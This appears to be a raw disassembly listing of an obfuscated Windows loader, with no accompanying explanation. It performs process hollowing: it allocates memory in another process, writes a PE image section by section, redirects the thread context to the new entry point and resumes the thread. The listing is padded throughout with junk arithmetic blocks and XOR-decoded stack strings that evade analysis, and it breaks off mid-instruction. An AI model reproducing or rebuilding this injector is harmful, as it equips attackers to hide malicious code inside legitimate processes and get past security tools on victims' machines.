lea rdx, [rbp + 0x720]
xor ecx, ecx
vzeroupper
jmp 0x14007a3eb
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
jmp 0x14007a3f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp + 0x80]
call fcn.1400576e2
test eax, eax
jne 0x14007a4c1
push rax
pushf
mov eax, 0xf6d1deac
pushf
not eax
add eax, 0xf5aaabaf
xor eax, 0xbee76700
rol eax, 0x15
popf
pushf
not eax
add eax, 0xfc08868b
xor eax, 0xd13aec4a
rol eax, 0x64
popf
pushf
not eax
add eax, 0xc7996f98
xor eax, 0xdd0865c3
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xd9e23abe
xor eax, 0xf950cf92
rol eax, 0xf5
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0xbb6fb94
pushf
not eax
add eax, 0xd4de35bd
xor eax, 0x9d1bd392
rol eax, 0xca
popf
pushf
not eax
add eax, 0xaa9f7891
xor eax, 0xa24f4ed6
rol eax, 0x17
popf
pushf
not eax
add eax, 0xc1ab158a
xor eax, 0xf5e0b9a9
rol eax, 0xaa
popf
jmp 0x140078bc8
mov qword [rbp + 0x690], r15
mov qword [rbp + 0x698], rsi
mov qword [rbp + 0x6a0], r14
mov qword [rbp + 0x6a8], rsi
movdqa xmm0, xmmword [rbp + 0x690]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x690], xmm0
movabs rax, 0xc2e733bbdb618596
pushf
not rax
add rax, 0x5d542da4
xor rax, 0x5f1d5a89
rol rax, 0x44
popf
pushf
not rax
add rax, 0x5303b128
xor rax, 0x61d2128b
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x5cbb7bcb
xor rax, 0x70710a98
rol rax, 0x1d
popf
mov qword [rbp + 0x720], rax
movabs rax, 0x3ac709a620240c96
pushf
not rax
add rax, 0x61921628
xor rax, 0x432def6d
rol rax, 0x2b
popf
pushf
not rax
add rax, 0x7d7fe23d
xor rax, 0x61d26631
rol rax, 0x34
popf
pushf
not rax
add rax, 0x685a16ce
xor rax, 0x467762a1
rol rax, 0x28
popf
mov qword [rbp + 0x728], rax
movabs rax, 0xc0da091d313182a7
pushf
not rax
add rax, 0x646bd759
xor rax, 0x70ab1f89
rol rax, 0x35
popf
pushf
not rax
add rax, 0x5be605ce
xor rax, 0x5a3bb778
rol rax, 0x72
popf
pushf
not rax
add rax, 0x6e36480b
xor rax, 0x40539e27
rol rax, 0x43
popf
pushf
not rax
add rax, 0x459f659f
xor rax, 0x4d3f5989
rol rax, 0x2c
popf
mov qword [rbp + 0x730], rax
movabs rax, 0x69600b9e63fa0f26
pushf
not rax
add rax, 0x7b9a796b
xor rax, 0x40fe9a60
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x543fb2ee
xor rax, 0x6730670a
rol rax, 0xe2
popf
mov qword [rbp + 0x738], rax
movabs rax, 0xa624ab5eb4e3f764
pushf
not rax
add rax, 0x489b2f23
xor rax, 0x41e5c2e8
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x57c37d71
xor rax, 0x4b0fa585
rol rax, 0x38
popf
mov qword [rbp + 0x740], rax
movabs rax, 0x61409570daf236fa
pushf
not rax
add rax, 0x4e12acd7
xor rax, 0x7575eaca
rol rax, 0x59
popf
pushf
not rax
add rax, 0x62c5d45c
xor rax, 0x5b32aaaa
rol rax, 0x52
popf
pushf
not rax
add rax, 0x703eb5e5
xor rax, 0x55db05fd
rol rax, 0xd9
popf
pushf
not rax
add rax, 0x68e7f5fa
xor rax, 0x4339b8b7
rol rax, 0xe0
popf
mov qword [rbp + 0x748], rax
movabs rax, 0x9129b69d0ac810f6
pushf
not rax
add rax, 0x67bafcbe
xor rax, 0x47485214
rol rax, 0xef
popf
pushf
not rax
add rax, 0x661e140e
xor rax, 0x48f65dce
rol rax, 0xfd
popf
pushf
not rax
add rax, 0x4eedac58
xor rax, 0x543cff79
rol rax, 0x26
popf
mov qword [rbp + 0x750], rax
movabs rax, 0x5db7a7127624355c
pushf
not rax
add rax, 0x4447fe79
xor rax, 0x50436fd9
rol rax, 0xbe
popf
pushf
not rax
add rax, 0x6d240aee
xor rax, 0x68e8ccdb
rol rax, 0x6b
popf
pushf
not rax
add rax, 0x59b14225
xor rax, 0x59a5e09d
rol rax, 0x53
popf
mov qword [rbp + 0x758], rax
movabs rax, 0x58467046138ad58b
pushf
not rax
add rax, 0x65680c76
xor rax, 0x5b58e40e
rol rax, 0xf0
popf
pushf
not rax
add rax, 0x60824a6f
xor rax, 0x6dfe1190
rol rax, 0xad
popf
pushf
not rax
add rax, 0x7b28e28f
xor rax, 0x624cdbbe
rol rax, 0x7b
popf
mov qword [rbp + 0x760], rax
movabs rax, 0xa373ab06c700fab4
pushf
not rax
add rax, 0x706fba30
xor rax, 0x6a4f7df7
rol rax, 0xba
popf
pushf
not rax
add rax, 0x4699f655
xor rax, 0x4dc70b90
rol rax, 0x47
popf
mov qword [rbp + 0x768], rax
mov qword [rbp + 0x6a0], r14
mov qword [rbp + 0x6a8], rsi
movabs rax, 0x523a7384a8592806
pushf
not rax
add rax, 0x77f29e8c
xor rax, 0x512c53cd
rol rax, 0x50
popf
pushf
not rax
add rax, 0x6f6470ef
xor rax, 0x582213b5
rol rax, 0xff
popf
pushf
not rax
add rax, 0x7affcd26
xor rax, 0x7aabcc70
rol rax, 0x78
popf
pushf
not rax
add rax, 0x66db8d13
xor rax, 0x7c116b68
rol rax, 0xb3
popf
mov qword [rbp + 0x6b0], rax
movabs rax, 0xc1ae109029b1a6a
pushf
not rax
add rax, 0x58fa5402
xor rax, 0x584b8ee6
rol rax, 0x1a
popf
pushf
not rax
add rax, 0x6eadd113
xor rax, 0x5510859f
rol rax, 0x70
popf
mov qword [rbp + 0x6b8], rax
movabs rax, 0xb6d8cd2605e32463
pushf
not rax
add rax, 0x6eb5bef2
xor rax, 0x49bf9e8b
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x55ead51a
xor rax, 0x6636e668
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x6618a680
xor rax, 0x69b02067
rol rax, 0xe5
popf
mov qword [rbp + 0x6c0], rax
movabs rax, 0xea3ef0df3eb7880d
pushf
not rax
add rax, 0x46cabb5f
xor rax, 0x417e8048
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x54ea4f00
xor rax, 0x5266cf72
rol rax, 0x29
popf
mov qword [rbp + 0x6c8], rax
movabs rax, 0xc6bf848ac50fd2da
pushf
not rax
add rax, 0x6253c29b
xor rax, 0x7340bf7a
rol rax, 0x73
popf
pushf
not rax
add rax, 0x5b8d41f3
xor rax, 0x4489b3fb
rol rax, 0x50
popf
pushf
not rax
add rax, 0x5a6e40b6
xor rax, 0x56f790f7
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x4bab1895
xor rax, 0x6fd1be99
rol rax, 0xf0
popf
mov qword [rbp + 0x6d0], rax
movabs rax, 0xb57dca129a8e4d6c
pushf
not rax
add rax, 0x71471829
xor rax, 0x5ceb7895
rol rax, 0xe2
popf
pushf
not rax
add rax, 0x68cdea68
xor rax, 0x5e9b25ef
rol rax, 0x65
popf
pushf
not rax
add rax, 0x7dd0a652
xor rax, 0x688e6f9a
rol rax, 0xec
popf
mov qword [rbp + 0x6d8], rax
movabs rax, 0xe79e4d166ee233d7
pushf
not rax
add rax, 0x5973a92e
xor rax, 0x4aedc998
rol rax, 0x90
popf
pushf
not rax
add rax, 0x684867cd
xor rax, 0x4c1094c0
rol rax, 0xf9
popf
pushf
not rax
add rax, 0x5f486ad0
xor rax, 0x601fb0c7
rol rax, 0xbf
popf
mov qword [rbp + 0x6e0], rax
movabs rcx, 0xe74bba9f9d4498ea
pushf
not rcx
add rcx, 0x4e78974c
xor rcx, 0x459215d8
rol rcx, 0xec
popf
pushf
not rcx
add rcx, 0x615d68b2
xor rcx, 0x7d971846
rol rcx, 0x4c
popf
mov qword [rbp + 0x6e8], rcx
vmovdqu ymm0, ymmword [rbp + 0x6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x720]
vmovdqa ymmword [rbp + 0x720], ymm1
vmovdqu ymm0, ymmword [rbp + 0x740]
vpxor ymm1, ymm0, ymmword [rbp + 0x6c0]
vmovdqa ymmword [rbp + 0x740], ymm1
vmovdqa xmm2, xmmword [rbp + 0x760]
vxorps xmm2, xmm2, xmmword [rbp + 0x6e0]
vmovdqa xmmword [rbp + 0x760], xmm2
mov r9d, 0xcb200605
pushf
not r9d
add r9d, 0x88eeb282
xor r9d, 0x88866b01
rol r9d, 0x88
popf
pushf
not r9d
add r9d, 0x9ccfc784
xor r9d, 0xb7d763d9
rol r9d, 0x95
popf
pushf
not r9d
add r9d, 0x856a9b6d
xor r9d, 0xd4851696
rol r9d, 0xea
popf
pushf
not r9d
add r9d, 0x813b8bf3
xor r9d, 0xd59745d7
rol r9d, 0x6d
popf
lea r8, [rbp + 0x690]
lea rdx, [rbp + 0x720]
xor ecx, ecx
vzeroupper
jmp 0x14007abf0
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
jmp 0x14007abf9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r14, [rbp + 0x578]
cmp qword [rbp + 0x590], 0xf
cmova r14, qword [rbp + 0x578]
movsxd rbx, dword [r14 + 0x3c]
push r14
not r14
sub rbx, r14
pop r14
sub rbx, 1
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0xf3922df7
pushf
not r9d
add r9d, 0xda27a9d3
xor r9d, 0xd1b69136
rol r9d, 0x8a
popf
pushf
not r9d
add r9d, 0xc91d847d
xor r9d, 0xb0dee2bc
rol r9d, 0x43
popf
pushf
not r9d
add r9d, 0xf13c2ada
xor r9d, 0xa3c2c1ed
rol r9d, 0xa9
popf
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rbp + 0x80]
jmp 0x14007acd8
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x14007ad1d
push rax
pushf
mov eax, 0x2221c1e0
pushf
not eax
add eax, 0xd5cda318
xor eax, 0xcccf1f0d
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x8e7c5fdf
xor eax, 0xb520d13f
rol eax, 0xcf
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x8f167749
pushf
not eax
add eax, 0xd73562a0
xor eax, 0xe17a74cc
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xd5336fb1
xor eax, 0x9fc9c722
rol eax, 0xed
popf
pushf
not eax
add eax, 0xbcafab79
xor eax, 0xf71bc77f
rol eax, 0x47
popf
jmp 0x140078bc8
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], r13
mov r8, r14
mov rdx, rax
mov rcx, qword [rbp + 0x80]
jmp 0x14007ad7a
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14007adbb
push rax
pushf
mov eax, 0xf3bbb1b8
pushf
not eax
add eax, 0xc99354da
xor eax, 0x9205d2b5
rol eax, 0x87
popf
pushf
not eax
add eax, 0xd65ecc4d
xor eax, 0x95260229
rol eax, 0xe5
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0xcae237c4
pushf
not eax
add eax, 0xbce2b107
xor eax, 0x8e2a43e9
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xdd0d6ae4
xor eax, 0xe363116f
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xacc153b2
xor eax, 0xc4afde2e
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xb4440964
xor eax, 0x9961a30d
rol eax, 0x9a
popf
jmp 0x140078bc8
mov edi, r13d
cmp r13w, word [rbx + 6]
jae 0x14007ae51
push rax
pushf
mov eax, 0xdcd95af1
pushf
not eax
add eax, 0xe288e451
xor eax, 0x8b821206
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xacc9e5fc
xor eax, 0xd3144d18
rol eax, 4
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0xb50534ba
pushf
not eax
add eax, 0xbbedaf15
xor eax, 0xd0792771
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xa2ae6832
xor eax, 0xd89940d1
rol eax, 0x56
popf
pushf
not eax
add eax, 0xdd7065d2
xor eax, 0xe2be19a3
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xf2ed195a
xor eax, 0xc4e21e6e
rol eax, 0x4e
popf
jmp 0x140078bc8
mov rsi, r13
nop word [rax + rax]
push rax
pushf
mov eax, 0x574e084d
pushf
not eax
add eax, 0xec47a86c
xor eax, 0xec36cb65
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xfc122d6f
xor eax, 0xb6e43f8b
rol eax, 0x89
popf
jmp 0x140078bc8
movzx eax, word [rbx + 0x14]
push rsi
not rsi
sub rax, rsi
pop rsi
sub rax, 1
mov r9d, dword [rax + rbx + 0x28]
mov r8d, dword [rax + rbx + 0x2c]
push r14
not r14
sub r8, r14
pop r14
sub r8, 1
mov edx, dword [rax + rbx + 0x24]
push r15
not r15
sub rdx, r15
pop r15
sub rdx, 1
mov qword [rsp + 0x20], r13
mov rcx, qword [rbp + 0x80]
jmp 0x14007af2d
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14007af94
push rax
pushf
mov eax, 0xecfdbd8e
pushf
not eax
add eax, 0xab92d767
xor eax, 0xef1f4677
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xfd27a327
xor eax, 0xa11cb6a1
rol eax, 0x32
popf
pushf
not eax
add eax, 0xa81aa386
xor eax, 0xdf3a6c58
rol eax, 0x21
popf
pushf
not eax
add eax, 0xb3726291
xor eax, 0x98e0ae27
rol eax, 0x9b
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x8c052f9
pushf
not eax
add eax, 0xe6903e70
xor eax, 0xb42651dc
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xfcb41f9b
xor eax, 0xace6e263
rol eax, 0xe9
popf
jmp 0x140078bc8
inc edi
add rsi, 0x28
movzx eax, word [rbx + 6]
cmp edi, eax
jl 0x14007b009
push rax
pushf
mov eax, 0x60cc7c8e
pushf
not eax
add eax, 0xa23a600e
xor eax, 0xb26017b3
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xb0267e9c
xor eax, 0xc68c9ae0
rol eax, 0xfb
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x7de18dc9
pushf
not eax
add eax, 0x8df60d4d
xor eax, 0x89a5bc16
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x81d3a157
xor eax, 0x83540456
rol eax, 0x74
popf
pushf
not eax
add eax, 0xceebb9d6
xor eax, 0xe15db742
rol eax, 0xf0
popf
jmp 0x140078bc8
xor edx, edx
mov r8d, 0xa2012332
pushf
not r8d
add r8d, 0xfeb81b39
xor r8d, 0x9a3745a3
rol r8d, 0x63
popf
pushf
not r8d
add r8d, 0xa972647b
xor r8d, 0x95eb0aa4
rol r8d, 0xdf
popf
pushf
not r8d
add r8d, 0xed462da2
xor r8d, 0xf6593293
rol r8d, 0xa1
popf
pushf
not r8d
add r8d, 0xfd2ccaf8
xor r8d, 0xe7de34fa
rol r8d, 0x5d
popf
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0xd0], 0x10000b
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x88]
jmp 0x14007b0e0
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14007b130
push rax
pushf
mov eax, 0xf94a67f7
pushf
not eax
add eax, 0xc8d466d9
xor eax, 0xfad5c021
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xa85dc813
xor eax, 0xf8c76146
rol eax, 0x95
popf
pushf
not eax
add eax, 0xb823624b
xor eax, 0x889839a6
rol eax, 0xd9
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x91be7d
pushf
not eax
add eax, 0xf138c6ad
xor eax, 0x98dfff7c
rol eax, 0xee
popf
pushf
not eax
add eax, 0xe9125f35
xor eax, 0xfa39fd0f
rol eax, 0x30
popf
pushf
not eax
add eax, 0x9ef71c16
xor eax, 0xa61e8902
rol eax, 0x44
popf
pushf
not eax
add eax, 0xfe171707
xor eax, 0xf1e2f5e0
rol eax, 0x3f
popf
jmp 0x140078bc8
mov rdx, qword [rbp + 0x128]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 0x93c7b4bf
pushf
not r9d
add r9d, 0x8f5a067f
xor r9d, 0xaef01ec0
rol r9d, 0x19
popf
pushf
not r9d
add r9d, 0xf6befb0c
xor r9d, 0xf814364d
rol r9d, 0x7e
popf
lea r8, [rbx + 0x30]
mov rcx, qword [rbp + 0x80]
jmp 0x14007b1dd
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14007b21a
push rax
pushf
mov eax, 0x5b6ef660
pushf
not eax
add eax, 0xe27949e4
xor eax, 0xc7c2ecb5
rol eax, 0x63
popf
pushf
not eax
add eax, 0xfca1d85b
xor eax, 0xf65bde82
rol eax, 0xbf
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x51f59d38
pushf
not eax
add eax, 0xfbe128f8
xor eax, 0xbe779c4f
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xfa1ee9ea
xor eax, 0xe2a76813
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x971fa0e0
xor eax, 0x9b2f78db
rol eax, 0xb5
popf
jmp 0x140078bc8
mov eax, dword [rbx + 0x28]
push r15
not r15
sub rax, r15
pop r15
sub rax, 1
mov qword [rbp + 0x120], rax
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x88]
jmp 0x14007b287
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x14007b2ea
push rax
pushf
mov eax, 0x3f26efa0
pushf
not eax
add eax, 0xa8ac28e2
xor eax, 0xabc5e0ab
rol eax, 0x73
popf
pushf
not eax
add eax, 0xa5440927
xor eax, 0xef9cf180
rol eax, 0x60
popf
pushf
not eax
add eax, 0x9a3d4308
xor eax, 0xad11b96d
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x81974dab
xor eax, 0xef2b2553
rol eax, 0xca
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0xc5d9a154
pushf
not eax
add eax, 0xc47b3117
xor eax, 0xb817f9e0
rol eax, 0x16
popf
pushf
not eax
add eax, 0xdeba3337
xor eax, 0xa03b1832
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x9c8b8137
xor eax, 0xc6929768
rol eax, 0x33
popf
jmp 0x140078bc8
mov rcx, qword [rbp + 0x88]
jmp 0x14007b338
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x14007ba13
movabs rax, 0xa8b86c599c520503
pushf
not rax
add rax, 0x54603528
xor rax, 0x7e79c3bc
rol rax, 0x6c
popf
pushf
not rax
add rax, 0x4663af8e
xor rax, 0x43009201
rol rax, 0x85
popf
pushf
not rax
add rax, 0x6c789181
xor rax, 0x61724c2a
rol rax, 0x3a
popf
mov qword [rbp + 0x690], rax
movabs rcx, 0x7627abd3c691115e
pushf
not rcx
add rcx, 0x511508a3
xor rcx, 0x6f4156d9
rol rcx, 0xd6
popf
pushf
not rcx
add rcx, 0x65693533
xor rcx, 0x75282162
rol rcx, 0xa4
popf
pushf
not rcx
add rcx, 0x65da404c
xor rcx, 0x63bfa782
rol rcx, 0x2c
popf
mov qword [rbp + 0x698], rcx
movabs rdx, 0x32408d38b1faa142
pushf
not rdx
add rdx, 0x4b676274
xor rdx, 0x462e0aed
rol rdx, 0xc
popf
pushf
not rdx
add rdx, 0x7218f52e
xor rdx, 0x696b07c6
rol rdx, 0x9e
popf
pushf
not rdx
add rdx, 0x56fe947c
xor rdx, 0x63b71daa
rol rdx, 0xeb
popf
pushf
not rdx
add rdx, 0x5f1e70c9
xor rdx, 0x420e0f54
rol rdx, 0xa3
popf
mov qword [rbp + 0x6a0], rdx
mov qword [rbp + 0x6a8], rcx
movdqa xmm0, xmmword [rbp + 0x690]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x690], xmm0
movabs rax, 0xf22ed7ab87440c00
pushf
not rax
add rax, 0x56840581
xor rax, 0x44ce2fc7
rol rax, 0x17
popf
pushf
not rax
add rax, 0x5524d71e
xor rax, 0x785a92df
rol rax, 0xa9
popf
mov qword [rbp + 0x6a0], rax
movabs rax, 0x4a533c7630ea8262
pushf
not rax
add rax, 0x4617bf84
xor rax, 0x71b794e8
rol rax, 0x91
popf
pushf
not rax
add rax, 0x61009011
xor rax, 0x4d20aaed
rol rax, 0x5c
popf
pushf
not rax
add rax, 0x48d371c4
xor rax, 0x651ce0df
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x72b98b45
xor rax, 0x7019e329
rol rax, 0x3b
popf
mov qword [rbp + 0x6a8], rax
movabs rax, 0x27ceab9eb62a04f3
pushf
not rax
add rax, 0x76602661
xor rax, 0x661413a6
rol rax, 0x19
popf
pushf
not rax
add rax, 0x71d6a825
xor rax, 0x40984c1b
rol rax, 0x49
popf
pushf
not rax
add rax, 0x4c6cb8ba
xor rax, 0x6dbf45f1
rol rax, 0x46
popf
mov qword [rbp + 0x6b0], rax
movabs rax, 0x411bdff7f61402f1
pushf
not rax
add rax, 0x7a465e32
xor rax, 0x73ced20a
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x62d72a2b
xor rax, 0x7a21ff62
rol rax, 0x80
popf
pushf
not rax
add rax, 0x72b21406
xor rax, 0x61c966b7
rol rax, 0x4a
popf
mov qword [rbp + 0x6b8], rax
mov qword [rbp + 0x720], rdx
mov qword [rbp + 0x728], rcx
movabs rax, 0xab6f867d29f9a1fe
pushf
not rax
add rax, 0x4ce0a936
xor rax, 0x5f49fc78
rol rax, 0x5e
popf
pushf
not rax
add rax, 0x44baac4c
xor rax, 0x73779553
rol rax, 0x8c
popf
mov qword [rbp + 0x730], rax
movabs rax, 0x71c521c5d0af2157
pushf
not rax
add rax, 0x70274805
xor rax, 0x4169cbd5
rol rax, 0x15
popf
pushf
not rax
add rax, 0x476dec6d
xor rax, 0x668215bd
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x42bfe848
xor rax, 0x4fe17c7d
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x4c099c4c
xor rax, 0x46bb9811
rol rax, 0x66
popf
mov qword [rbp + 0x738], rax
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x6a0]
vmovdqa ymmword [rbp + 0x6a0], ymm1
mov r9d, 0xcb11c223
pushf
not r9d
add r9d, 0xd9f96752
xor r9d, 0xcaffa3b7
rol r9d, 0x4e
popf
pushf
not r9d
add r9d, 0xef068195
xor r9d, 0x87d3f873
rol r9d, 0x90
popf
pushf
not r9d
add r9d, 0x8bf154e7
xor r9d, 0xa0f3ea33
rol r9d, 0xab
popf
lea r8, [rbp + 0x690]
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
vzeroupper
jmp 0x14007b74a
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x578]
call fcn.140046e62
test rax, rax
je 0x14007b794
push rax
pushf
mov eax, 0x95e6babd
pushf
not eax
add eax, 0xec9435b1
xor eax, 0xe0764c4f
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xcb17db27
xor eax, 0xf380ffcc
rol eax, 0x41
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x3b36754b
pushf
not eax
add eax, 0xe93f12d6
xor eax, 0xd1690e92
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa79fdb5c
xor eax, 0xbb6d74cc
rol eax, 0x79
popf
jmp 0x140078bc8
lea rcx, [rbp + 0x578]
call fcn.140046e62
mov rbx, rax
jmp 0x14007b7d7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
jmp 0x14007b7e6
call qword [sym.imp.KERNEL32.dll_HeapFree]
push rax
pushf
mov eax, 0x236cc804
pushf
not eax
add eax, 0xed6a1a43
xor eax, 0x851615d9
rol eax, 0x77
popf
pushf
not eax
add eax, 0xf928d666
xor eax, 0xd5018703
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xadabefa1
xor eax, 0x8e6de23c
rol eax, 0xbb
popf
jmp 0x140078bc8
mov rcx, qword [rbp + 0x88]
test rcx, rcx
je 0x14007b871
push rax
pushf
mov eax, 0x382bbc5f
pushf
not eax
add eax, 0xdde6dadc
xor eax, 0xa2509fb5
rol eax, 0x48
popf
pushf
not eax
add eax, 0xd6174723
xor eax, 0xea95789b
rol eax, 0x3a
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0x2a3a022
pushf
not eax
add eax, 0xbaa475ba
xor eax, 0xbff72775
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xcc93580a
xor eax, 0x9bffe441
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xbf1a28e5
xor eax, 0xcbe77777
rol eax, 0x8c
popf
jmp 0x140078bc8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0x1d4755a
pushf
not eax
add eax, 0x9ffbc31d
xor eax, 0xaf22fa93
rol eax, 0x80
popf
pushf
not eax
add eax, 0xfa838232
xor eax, 0xb772cab4
rol eax, 9
popf
pushf
not eax
add eax, 0xfc8ce278
xor eax, 0xde8c227b
rol eax, 0xb8
popf
jmp 0x140078bc8
mov rcx, qword [rbp + 0x80]
test rcx, rcx
je 0x14007b969
push rax
pushf
mov eax, 0xbbeecec6
pushf
not eax
add eax, 0xbfe9651e
xor eax, 0xe9848c35
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xa52cfba2
xor eax, 0xbd10fcdf
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xc19735db
xor eax, 0x87e0a96c
rol eax, 0xca
popf
pushf
not eax
add eax, 0x98cf2cfd
xor eax, 0x89557f49
rol eax, 5
popf
jmp 0x140078bc8
push rax
pushf
mov eax, 0xf9d86b58
pushf
not eax
add eax, 0xf0dac938
xor eax, 0x9751ec5c
rol eax, 4
popf
pushf
not eax
add eax, 0xb9e12e88
xor eax, 0xa9a61651
rol eax, 0x68
popf
jmp 0x140078bc8
mov edx, 0x94dab221
pushf
not edx
add edx, 0xdf4b1784
xor edx, 0xa7ba1197
rol edx, 0xe1
popf
pushf
not edx
add edx, 0xe2440171
xor edx, 0xf950e87a
rol edx, 0xf7
popf
jmp 0x14007b9cc
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x80]
jmp 0x14007b9da
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0x4474519f
pushf
not eax
add eax, 0xbc656736
xor eax, 0xfacba80a
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xdae02d2b
xor eax, 0xf675f73e
rol eax, 0x93
popf
jmp 0x140078bc8
xor ecx, ecx
jmp 0x14007ba16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp + 0x690], r15
mov qword [rbp + 0x698], rsi
mov qword [rbp + 0x6a0], r14
mov qword [rbp + 0x6a8], rsi
movdqa xmm0, xmmword [rbp + 0x690]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x690], xmm0
movabs rax, 0xe38751cbcfaa0c7b
pushf
not rax
add rax, 0x718aee1c
xor rax, 0x6e7d60f9
rol rax, 0x57
popf
pushf
not rax
add rax, 0x40518a96
xor rax, 0x6772e873
rol rax, 0xbb
popf
pushf
not rax
add rax, 0x57b7d68d
xor rax, 0x4f54603f
rol rax, 0xcb
popf
mov qword [rbp + 0x6a0], rax
movabs rax, 0xbe223752dad898f0
pushf
not rax
add rax, 0x7c207457
xor rax, 0x6bd066ce
rol rax, 0xe2
popf
pushf
not rax
add rax, 0x6127a8c5
xor rax, 0x7947b123
rol rax, 0x59
popf
pushf
not rax
add rax, 0x752c06ba
xor rax, 0x7152e52f
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x530ab0ff
xor rax, 0x4f6c45cc
rol rax, 0xf3
popf
mov qword [rbp + 0x6a8], rax
movabs rax, 0x86e4c7d1e3c7576b
pushf
not rax
add rax, 0x526fb2c0
xor rax, 0x5f961ca5
rol rax, 0x83
popf
pushf
not rax
add rax, 0x6de22022
xor rax, 0x7a675463
rol rax, 0x76
popf
pushf
not rax
add rax, 0x6b17b0e3
xor rax, 0x6276212b
rol rax, 0x42
popf
pushf
not rax
add rax, 0x508ac27a
xor rax, 0x408266b0
rol rax, 0xb3
popf
mov qword [rbp + 0x6b0], rax
movabs rax, 0x6f15848d310db178
pushf
not rax
add rax, 0x79dd259a
xor rax, 0x4db76547
rol rax, 0xa7
popf
pushf
not rax
add rax, 0x4e698bc8
xor rax, 0x7ffcb86d
rol rax, 0xd1
popf
mov qword [rbp + 0x6b8], rax
movabs rax, 0x34bd90f809990887
pushf
not rax
add rax, 0x748dd59f
xor rax, 0x77d643bd
rol rax, 0x2c
popf
pushf
not rax
add rax, 0x509937f4
xor rax, 0x60d6d8f2
rol rax, 0x82
popf
mov qword [rbp + 0x6c0], rax
movabs rax, 0x82b1fa77d8f75307
pushf
not rax
add rax, 0x4e37eacf
xor rax, 0x7f675998
rol rax, 0
popf
pushf
not rax
add rax, 0x79f5a023
xor rax, 0x5163c8ee
rol rax, 0xe
popf
pushf
not rax
add rax, 0x5ea678b0
xor rax, 0x5f07d131
rol rax, 0xeb
popf
pushf
not rax
add rax, 0x6e556ec1
